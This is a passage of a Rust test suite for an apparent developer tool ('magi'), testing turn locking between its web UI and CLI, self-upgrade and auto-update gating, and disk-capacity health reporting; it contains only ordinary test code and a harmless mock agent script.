23226 let q = consult_question(&ui);
23227 let talk = ui.talks.get(&id).expect("talk");
23228 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23229 let before = consult_snapshot(&ui, &q, &id);
23230 let cli_talks = Talks::at(ui.home.join("talks"));
23231 assert_eq!(
23232 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23233 .await
23234 .expect("CLI starter"),
23235 crate::consult::Started::Busy
23236 );
23237 assert_eq!(consult_snapshot(&ui, &q, &id), before);
23238 assert!(ui.is_thinking(&id));
23239 drop(guard);
23240 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23241 }
23242
23243 #[tokio::test]
23244 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23245 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23246 let q = consult_question(&ui);
23247 let talk = ui.talks.get(&id).expect("talk");
23248 let started = tmp.path().join("started");
23249 let release = tmp.path().join("release");
23250 let script = tmp.path().join("consult-agent.sh");
23251 std::fs::write(
23252 &script,
23253 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
23254 )
23255 .expect("script");
23256 let mut cfg = stub_config();
23257 cfg.agents[0].id = "mock".to_owned();
23258 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23259 cfg.agents[0].env = std::collections::BTreeMap::from([
23260 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23261 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23262 ]);
23263 let questions = ui.questions.clone();
23264 let cli_talks = Talks::at(ui.home.join("talks"));
23265 let cli_q = q.clone();
23266 let turn = tokio::spawn(async move {
23267 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23268 });
23269 let ready = tokio::time::timeout(Duration::from_secs(30), async {
23270 while !started.exists() {
23271 tokio::time::sleep(Duration::from_millis(10)).await;
23272 }
23273 })
23274 .await;
23275 let refusal = if ready.is_ok() {
23278 let before = consult_snapshot(&ui, &q, &id);
23279 let result = talk_say(
23280 State(Arc::clone(&ui)),
23281 Path(id.clone()),
23282 Ok(Json(NewTalkTurn {
23283 reply_to: None,
23284 text: "another message".to_owned(),
23285 attachments: Vec::new(),
23286 })),
23287 )
23288 .await;
23289 Some((result, before, consult_snapshot(&ui, &q, &id)))
23290 } else {
23291 None
23292 };
23293 std::fs::write(&release, "").expect("release agent");
23294 let done = turn.await.expect("join CLI turn");
23295 ready.expect("agent started before deadline");
23296 let (result, before, after) = refusal.expect("web request");
23297 let error = result.expect_err("web must refuse the CLI's turn");
23298 assert_eq!(error.status, StatusCode::CONFLICT);
23299 assert!(error.message.contains("a turn is already running"));
23300 assert_eq!(
23301 after, before,
23302 "refusal preserves question, draft and history"
23303 );
23304 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23305 let guard = ui
23306 .begin_talk_turn(&id)
23307 .expect("web claim")
23308 .expect("free again");
23309 drop(guard);
23310 }
23311
23312 #[test]
23313 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23314 let home = TempDir::new().expect("temp home");
23315 let talks = Talks::at(home.path().join("talks"));
23316 let ui = Ui::new(
23317 Queue::at(home.path().join("queue")),
23318 Questions::at(home.path().join("questions")),
23319 talks.clone(),
23320 home.path().join("runs"),
23321 home.path().to_path_buf(),
23322 PathBuf::from("/repo"),
23323 )
23324 .with_worktrees_root(home.path().join("wt"));
23325 let id = "20260901-000000-order";
23326 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23327 let slots = ui.talk_turns.lock().unwrap();
23329 let dropper = std::thread::spawn(move || drop(turn));
23330 let start = std::time::Instant::now();
23331 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23332 std::thread::sleep(Duration::from_millis(5));
23333 }
23334 assert!(!talks.turn_held(id), "the lease is released first");
23335 assert!(slots.live.contains(id), "the slot is still held meanwhile");
23336 drop(slots);
23337 dropper.join().expect("join");
23338 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23339 }
23340
23341 #[tokio::test]
23342 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23343 let fx = Fixture::start().await;
23344 let mut beat = crate::daemon::Status::new();
23345 beat.worker_protocol = None;
23346 beat.pid = 4321;
23347 beat.updated_at = jiff::Timestamp::now();
23348 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23349 .expect("publish a heartbeat");
23350
23351 let res = fx.post("/api/upgrade", None).await;
23352 assert_eq!(res.status, 409);
23353 }
23354
23355 #[test]
23362 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23363 assert!(!should_spawn_recheck(&crate::config::Update {
23364 mode: UpdateMode::Off,
23365 interval: None,
23366 auto_restart: false,
23367 }));
23368
23369 unsafe {
23372 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23373 }
23374 let killed = should_spawn_recheck(&crate::config::Update {
23375 mode: UpdateMode::Notify,
23376 interval: None,
23377 auto_restart: false,
23378 });
23379 unsafe {
23380 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23381 }
23382 assert!(
23383 !killed,
23384 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23385 one-time startup check"
23386 );
23387
23388 assert!(should_spawn_recheck(&crate::config::Update {
23389 mode: UpdateMode::Notify,
23390 interval: None,
23391 auto_restart: false,
23392 }));
23393 }
23394
23395 #[test]
23401 fn recheck_poll_period_tracks_a_short_configured_interval() {
23402 let short = crate::config::Update {
23403 mode: UpdateMode::Notify,
23404 interval: Some("1m".to_owned()),
23405 auto_restart: false,
23406 };
23407 let period = recheck_poll_period(&short);
23408 assert!(
23409 period <= Duration::from_secs(30),
23410 "a one-minute interval must wake the task far sooner than the \
23411 default ceiling, or the deck would not notice within the \
23412 interval the operator configured: got {period:?}"
23413 );
23414
23415 let default = crate::config::Update {
23416 mode: UpdateMode::Notify,
23417 interval: None,
23418 auto_restart: false,
23419 };
23420 assert_eq!(
23421 recheck_poll_period(&default),
23422 UPDATE_RECHECK_POLL_MAX,
23423 "the default day-long interval should poll at the (capped) \
23424 ceiling rather than needlessly often"
23425 );
23426 }
23427
23428 #[test]
23436 fn recheck_skips_the_network_before_the_interval_elapses() {
23437 let dir = TempDir::new().expect("temp dir");
23438 let path = dir.path().join("state.json");
23439 let state = kaishin::UpdateCheckState {
23440 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23441 last_known_latest: None,
23442 last_known_url: None,
23443 };
23444 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23445
23446 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23447 assert!(
23448 !update_recheck_due(&checker, None),
23449 "a check made moments ago must not be repeated before the \
23450 configured interval elapses"
23451 );
23452 }
23453
23454 #[test]
23460 fn recheck_defers_to_an_upgrade_already_in_flight() {
23461 let dir = TempDir::new().expect("temp dir");
23462 let path = dir.path().join("state.json");
23463 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23464 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23465
23466 assert!(
23467 !update_recheck_due(&checker, Some(&progress)),
23468 "a recheck must not run while an upgrade this deck started is \
23469 still moving"
23470 );
23471 }
23472
23473 #[tokio::test]
23474 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23475 unsafe {
23487 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23488 }
23489 let fx = Fixture::start().await;
23490 let res = fx.post("/api/upgrade", None).await;
23491 unsafe {
23492 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23493 }
23494 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23495 let body = res.json();
23496 assert!(body["to"].is_null(), "there was no release to move to");
23497 assert!(body["parked"].is_null(), "and nothing was parked");
23498 assert!(
23499 body["detail"]
23500 .as_str()
23501 .unwrap()
23502 .contains("disabled by MAGI_NO_AUTOUPDATE"),
23503 "{body:?}"
23504 );
23505 }
23506
23507 #[test]
23508 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23509 use AutoUpgradeDecision::{Skip, Trigger, Wait};
23510 let mut cfg = Update::default();
23511 assert!(matches!(
23512 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23513 Skip(_)
23514 ));
23515 cfg.auto_restart = true;
23516 assert_eq!(
23517 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23518 Trigger
23519 );
23520 assert_eq!(
23521 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23522 Wait
23523 );
23524 for (disabled, moving, failed) in [
23525 (true, false, None),
23526 (false, true, None),
23527 (false, false, Some("v2")),
23528 ] {
23529 assert!(matches!(
23530 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23531 Skip(_)
23532 ));
23533 }
23534 assert_eq!(
23535 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23536 Trigger
23537 );
23538 cfg.mode = UpdateMode::Off;
23539 assert!(matches!(
23540 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23541 Skip(_)
23542 ));
23543 }
23544
23545 #[test]
23546 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23547 let home = TempDir::new().unwrap();
23548 let ui = idle_ui(&home);
23549 assert!(!ui.auto_upgrade_busy());
23550 let directory = home.path().join("workers/jobs/abcdef");
23551 std::fs::create_dir_all(&directory).unwrap();
23552 let mut job = crate::worker::Job {
23553 id: "abcdef".into(),
23554 sequence: 1,
23555 kind: "scheduler".into(),
23556 key: "scheduler".into(),
23557 payload: serde_json::json!({}),
23558 generation: "test".into(),
23559 version: None,
23560 status: crate::worker::Status::Running,
23561 result: None,
23562 pid: None,
23563 created_at: 0,
23564 finished_at: None,
23565 };
23566 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23567 let write = |job: &crate::worker::Job| {
23568 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23569 };
23570 write(&job);
23571 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23572 for kind in ["task", "chat"] {
23573 job.kind = kind.into();
23574 write(&job);
23575 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23576 }
23577 drop(lease);
23578 assert!(
23582 !ui.auto_upgrade_busy(),
23583 "completed execution permits updates"
23584 );
23585 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23586 assert!(
23587 ui.auto_upgrade_busy(),
23588 "unreadable worker state defers updates"
23589 );
23590 }
23591
23592 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23593 Box::pin(async { anyhow::bail!("test installer failed") })
23594 }
23595
23596 #[tokio::test]
23597 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23598 let home = TempDir::new().unwrap();
23599 std::fs::write(
23600 home.path().join("magi.toml"),
23601 "[update]\nauto_restart = true\n",
23602 )
23603 .unwrap();
23604 let mut ui = idle_ui(&home);
23605 ui.repo = home.path().to_path_buf();
23606 ui.upgrade_runner = fail_test_upgrade;
23608 let ui = Arc::new(ui);
23609 let latest = || {
23610 Some(kaishin::LatestRelease {
23611 tag_name: "v999.0.0".into(),
23612 html_url: String::new(),
23613 })
23614 };
23615 ui.talk_turns.lock().unwrap().live.insert("busy".into());
23616 assert_eq!(
23617 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23618 .await
23619 .status(),
23620 StatusCode::NO_CONTENT
23621 );
23622 assert!(updater::read_progress(home.path()).is_none());
23623 ui.talk_turns.lock().unwrap().live.clear();
23624 let gate = ui.upgrade_gate.lock().await;
23625 assert_eq!(
23626 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23627 .await
23628 .status(),
23629 StatusCode::CONFLICT
23630 );
23631 drop(gate);
23632 assert_eq!(
23633 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23634 .await
23635 .status(),
23636 StatusCode::ACCEPTED
23637 );
23638 let progress = updater::read_progress(home.path()).unwrap();
23639 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23640 assert_eq!(progress.stage, updater::Stage::Downloading);
23641 assert!(progress.parked_run.is_none());
23642 assert!(ui.start_detached_loop().await.is_err());
23643 assert!(ui.start_loop(None).is_err());
23644 assert!(ui.begin_resume("late").is_err());
23645 tokio::time::timeout(Duration::from_secs(2), async {
23646 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23647 tokio::task::yield_now().await;
23648 }
23649 })
23650 .await
23651 .unwrap();
23652 let progress = updater::read_progress(home.path()).unwrap();
23653 assert_eq!(progress.stage, updater::Stage::Failed);
23654 assert_eq!(
23655 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23656 .await
23657 .status(),
23658 StatusCode::NO_CONTENT
23659 );
23660 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23662 assert_eq!(
23663 finish_upgrade_request(&ui, result).status(),
23664 StatusCode::ACCEPTED
23665 );
23666 assert_eq!(
23667 updater::read_progress(home.path()).unwrap().trigger,
23668 updater::UpgradeTrigger::Manual
23669 );
23670 tokio::time::timeout(Duration::from_secs(2), async {
23671 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23672 tokio::task::yield_now().await;
23673 }
23674 })
23675 .await
23676 .unwrap();
23677 }
23678
23679 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23680 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23681 p.stage = stage;
23682 p
23683 }
23684
23685 #[test]
23686 fn busy_stages_match_the_ui_set() {
23687 use crate::updater::Stage;
23688 assert!(APP_JS.contains(
23689 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23690 ));
23691 for s in [
23692 Stage::Downloading,
23693 Stage::Replaced,
23694 Stage::Parking,
23695 Stage::Restarting,
23696 ] {
23697 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23698 }
23699 for s in [Stage::Done, Stage::Failed] {
23700 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23701 }
23702 assert!(upgrade_in_motion(None).is_none());
23703 }
23704
23705 #[tokio::test]
23706 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23707 use crate::updater::Stage;
23708 for stage in [
23709 Stage::Downloading,
23710 Stage::Replaced,
23711 Stage::Parking,
23712 Stage::Restarting,
23713 ] {
23714 let fx = Fixture::start().await;
23715 let seeded = seeded_progress(stage);
23716 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23717 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23718 .expect("read");
23719
23720 let res = fx.post("/api/upgrade", None).await;
23721 assert_eq!(res.status, 409, "{stage:?}");
23722 let err = res.json()["error"].as_str().unwrap().to_owned();
23723 assert!(err.contains("already in progress"), "{err}");
23724 assert!(err.contains(stage.as_str()), "{err}");
23725
23726 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23727 .expect("read");
23728 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23729 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23730 .unwrap_or_default();
23731 assert!(!log.contains("signalling HANDOVER"), "{log}");
23732 }
23733 }
23734
23735 #[test]
23736 fn upgrade_retry_timing_only_parses_known_diagnostics() {
23737 assert_eq!(
23738 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23739 Some(3723)
23740 );
23741 assert_eq!(
23742 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23743 Some(60)
23744 );
23745 assert_eq!(
23746 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23747 Some(0)
23748 );
23749 for message in [
23750 "permission denied",
23751 "GitHub API rate limit exceeded",
23752 "GitHub rate limit (resets in unknown)",
23753 "GitHub rate limit (resets in 18446744073709551615d)",
23754 ] {
23755 assert_eq!(upgrade_retry_after(message), None, "{message}");
23756 }
23757 }
23758
23759 #[tokio::test]
23760 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23761 let home = TempDir::new().unwrap();
23762 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23763 ui.start_loop(None).unwrap();
23764 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23765 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23766 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23767 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23768 let response = finish_upgrade_request(&ui, result);
23769 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23770 assert_eq!(response.headers()["retry-after"], "120");
23771 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23772 .await
23773 .unwrap();
23774 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23775 assert!(body["error"].as_str().unwrap().contains(reason));
23776 assert_eq!(body["retry_after_secs"], 120);
23777 assert!(body["retry_at"].as_u64().is_some());
23778 for _ in 0..2 {
23779 let view = health(State(ui.clone())).await.unwrap().0;
23780 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23781 assert_eq!(failure, body);
23782 }
23783 assert_eq!(
23784 std::fs::read(updater::progress_path(home.path())).unwrap(),
23785 before
23786 );
23787 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23788 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23789 let gate = ui.upgrade_gate.lock().await;
23791 assert_eq!(
23792 upgrade_post(State(ui.clone())).await.status(),
23793 StatusCode::CONFLICT
23794 );
23795 drop(gate);
23796 assert!(
23797 health(State(ui.clone()))
23798 .await
23799 .unwrap()
23800 .0
23801 .upgrade_request_error
23802 .is_some()
23803 );
23804 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23805 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23806 assert!(
23807 health(State(ui.clone()))
23808 .await
23809 .unwrap()
23810 .0
23811 .upgrade_request_error
23812 .is_none()
23813 );
23814 let live = ui.lock_loop().live.take().unwrap();
23815 live.stop.stop();
23816 live.handle.await.unwrap();
23817 }
23818
23819 #[tokio::test]
23820 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23821 use crate::updater::Stage;
23822 let repo = TempDir::new().expect("repo dir");
23823 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23824 .expect("write magi.toml");
23825 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23826 for stage in [Stage::Done, Stage::Failed] {
23827 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23828 let res = fx.post("/api/upgrade", None).await;
23829 assert_eq!(res.status, 200, "{stage:?}");
23830 }
23831 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23833 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23834 }
23835
23836 #[tokio::test]
23837 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23838 let repo = TempDir::new().expect("repo dir");
23854 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23855 .expect("write magi.toml");
23856 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23857
23858 let res = fx.post("/api/upgrade", None).await;
23864 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23865 let body = res.json();
23866 assert!(body["to"].is_null(), "there was no release to move to");
23867 assert!(body["parked"].is_null(), "and nothing was parked");
23868 assert!(
23869 body["detail"]
23870 .as_str()
23871 .unwrap()
23872 .contains("nothing restarted"),
23873 "{body:?}"
23874 );
23875 }
23876
23877 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23878 tokio::time::timeout(Duration::from_secs(5), async {
23879 while state.lock().unwrap().in_flight {
23880 tokio::task::yield_now().await;
23881 }
23882 })
23883 .await
23884 .expect("capacity scan finished");
23885 }
23886
23887 fn disk_test_scope(home: &FsPath) -> DiskScope {
23888 DiskScope {
23889 runs: home.join("runs"),
23890 worktrees: home.join("worktrees"),
23891 cache: Some(home.join("cache")),
23892 }
23893 }
23894
23895 fn known_disk_capacity() -> DiskCapacity {
23896 DiskCapacity {
23897 free_bytes: Some(100),
23898 runs_bytes: Some(200),
23899 worktrees_bytes: Some(300),
23900 cache_bytes: Some(400),
23901 }
23902 }
23903
23904 #[tokio::test]
23905 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23906 let home = TempDir::new().unwrap();
23907 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23908 let mut ui = delta_test_ui(home.path());
23909 let state = Arc::get_mut(&mut ui).unwrap();
23910 state.repo = home.path().to_owned();
23911 state.worktrees_root = home.path().join("worktrees");
23912 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23913 ui.monitor
23914 .worker_started
23915 .store(true, std::sync::atomic::Ordering::SeqCst);
23916 let cfg = deputy_config(&ui.repo);
23917 let scope = DiskScope::of(&ui, cfg.as_ref());
23918 let (started, reached) = tokio::sync::oneshot::channel();
23919 let (release, blocked) = std::sync::mpsc::channel();
23920 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23921 started.send(()).unwrap();
23922 let _ = blocked.recv();
23924 known_disk_capacity()
23925 });
23926 assert!(cold.runs_bytes.is_none());
23927 tokio::time::timeout(Duration::from_secs(5), reached)
23928 .await
23929 .unwrap()
23930 .unwrap();
23931
23932 let requests: Vec<_> = (0..4)
23933 .map(|_| {
23934 let ui = ui.clone();
23935 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23936 })
23937 .collect();
23938 let completed = tokio::time::timeout(Duration::from_secs(60), async {
23942 for request in requests {
23943 let view = request.await.unwrap();
23944 let disk = serde_json::to_value(view.disk).unwrap();
23945 assert!(disk["runs_bytes"].is_null());
23946 assert!(disk["worktrees_bytes"].is_null());
23947 assert!(disk["free_bytes"].is_u64());
23950 }
23951 })
23952 .await;
23953 if completed.is_err() {
23954 release.send(()).unwrap();
23955 wait_for_disk_scan(&ui.monitor.disk).await;
23956 panic!("health must return while the measurement is causally blocked");
23957 }
23958 assert!(ui.monitor.disk.lock().unwrap().in_flight);
23959 assert!(
23961 ui.monitor
23962 .disk
23963 .lock()
23964 .unwrap()
23965 .capacity
23966 .runs_bytes
23967 .is_none()
23968 );
23969 release.send(()).unwrap();
23970 wait_for_disk_scan(&ui.monitor.disk).await;
23971 assert_eq!(
23972 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23973 Some(200)
23974 );
23975 }
23976
23977 #[tokio::test]
23978 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23979 let home = TempDir::new().unwrap();
23980 let scope = disk_test_scope(home.path());
23981 let state = Arc::new(Mutex::new(DiskObservation {
23982 scope: Some(scope.clone()),
23983 capacity: known_disk_capacity(),
23984 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23985 ..Default::default()
23986 }));
23987 let (started, reached) = tokio::sync::oneshot::channel();
23988 let (release, blocked) = std::sync::mpsc::channel();
23989 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23990 started.send(()).unwrap();
23991 blocked.recv().unwrap();
23992 DiskCapacity {
23993 runs_bytes: Some(250),
23994 ..Default::default()
23995 }
23996 });
23997 assert_eq!(before.cache_bytes, Some(400));
23998 tokio::time::timeout(Duration::from_secs(5), reached)
23999 .await
24000 .unwrap()
24001 .unwrap();
24002 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24003 for _ in 0..4 {
24004 let scans = duplicate_scans.clone();
24005 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24006 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24007 DiskCapacity::default()
24008 });
24009 assert_eq!(during.runs_bytes, Some(200));
24010 assert_eq!(during.cache_bytes, Some(400));
24011 }
24012 release.send(()).unwrap();
24013 wait_for_disk_scan(&state).await;
24014 let scans = duplicate_scans.clone();
24015 let after = DiskObservation::observe(&state, scope, move |_| {
24016 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24017 DiskCapacity::default()
24018 });
24019 wait_for_disk_scan(&state).await;
24020 assert_eq!(after.runs_bytes, Some(250));
24021 assert_eq!(after.free_bytes, Some(100));
24022 assert_eq!(after.cache_bytes, Some(400));
24023 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24024 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24025 }
24026
24027 #[tokio::test]
24028 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24029 let home = TempDir::new().unwrap();
24030 let old_scope = disk_test_scope(home.path());
24031 let mut new_scope = old_scope.clone();
24032 new_scope.cache = Some(home.path().join("replacement-cache"));
24033 let state = Arc::new(Mutex::new(DiskObservation {
24034 scope: Some(old_scope.clone()),
24035 capacity: known_disk_capacity(),
24036 ..Default::default()
24037 }));
24038 let (started, reached) = tokio::sync::oneshot::channel();
24039 let (release, blocked) = std::sync::mpsc::channel();
24040 DiskObservation::observe(&state, old_scope, move |_| {
24041 started.send(()).unwrap();
24042 blocked.recv().unwrap();
24043 known_disk_capacity()
24044 });
24045 tokio::time::timeout(Duration::from_secs(5), reached)
24046 .await
24047 .unwrap()
24048 .unwrap();
24049 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24050 let scans = duplicate_scans.clone();
24051 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24052 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24053 DiskCapacity::default()
24054 });
24055 assert!(changed.cache_bytes.is_none());
24056 assert!(changed.runs_bytes.is_none());
24057 release.send(()).unwrap();
24058 wait_for_disk_scan(&state).await;
24059 {
24060 let observation = state.lock().unwrap();
24061 assert!(observation.capacity.cache_bytes.is_none());
24062 assert!(observation.finished.is_none());
24063 }
24064 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24065 assert_eq!(scope, &new_scope);
24066 DiskCapacity {
24067 cache_bytes: Some(999),
24068 ..Default::default()
24069 }
24070 });
24071 wait_for_disk_scan(&state).await;
24072 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24073 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24074 }
24075
24076 #[tokio::test]
24077 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24078 let home = TempDir::new().unwrap();
24079 let scope = disk_test_scope(home.path());
24080 let state = Arc::new(Mutex::new(DiskObservation {
24081 scope: Some(scope.clone()),
24082 capacity: known_disk_capacity(),
24083 ..Default::default()
24084 }));
24085 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24086 wait_for_disk_scan(&state).await;
24087 {
24088 let mut observation = state.lock().unwrap();
24089 assert_eq!(observation.capacity.cache_bytes, Some(400));
24090 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24091 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24092 }
24093 DiskObservation::observe(&state, scope, |_| DiskCapacity {
24094 cache_bytes: Some(450),
24095 ..Default::default()
24096 });
24097 wait_for_disk_scan(&state).await;
24098 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24099 }
24100
24101 #[test]
24102 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24103 let home = TempDir::new().unwrap();
24104 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24105 assert_eq!(disk_capacity_size(home.path()), Some(0));
24106 std::fs::create_dir(home.path().join("nested")).unwrap();
24107 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24108 assert_eq!(disk_capacity_size(home.path()), Some(5));
24109 #[cfg(unix)]
24110 {
24111 assert_eq!(
24113 disk_capacity_size(&home.path().join("nested/data/child")),
24114 None
24115 );
24116 }
24117 #[cfg(unix)]
24118 {
24119 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24120 assert_eq!(disk_capacity_size(home.path()), Some(5));
24121 }
24122 }
24123
24124 #[tokio::test]
24125 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24126 let repo = TempDir::new().expect("repo dir");
24131 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24132 .expect("write magi.toml");
24133 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24134
24135 let health = fx.get("/api/health").await.json();
24136 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24137 assert_eq!(
24138 health["update"]["available"], false,
24139 "checking is off, which reads as \"unknown\", not \"none\""
24140 );
24141 assert!(health["update"]["to"].is_null());
24142 assert!(
24143 health["upgrade"].is_null(),
24144 "nothing has ever asked this deck to upgrade"
24145 );
24146 }
24147
24148 #[tokio::test]
24149 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24150 let fx = Fixture::start().await;
24151 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24152
24153 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24154 progress.parked_run = Some("20260905-000000-cd51".to_owned());
24155 progress.advance(crate::updater::Stage::Parking);
24156 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24157
24158 let health = fx.get("/api/health").await.json();
24159 assert_eq!(health["upgrade"]["stage"], "parking");
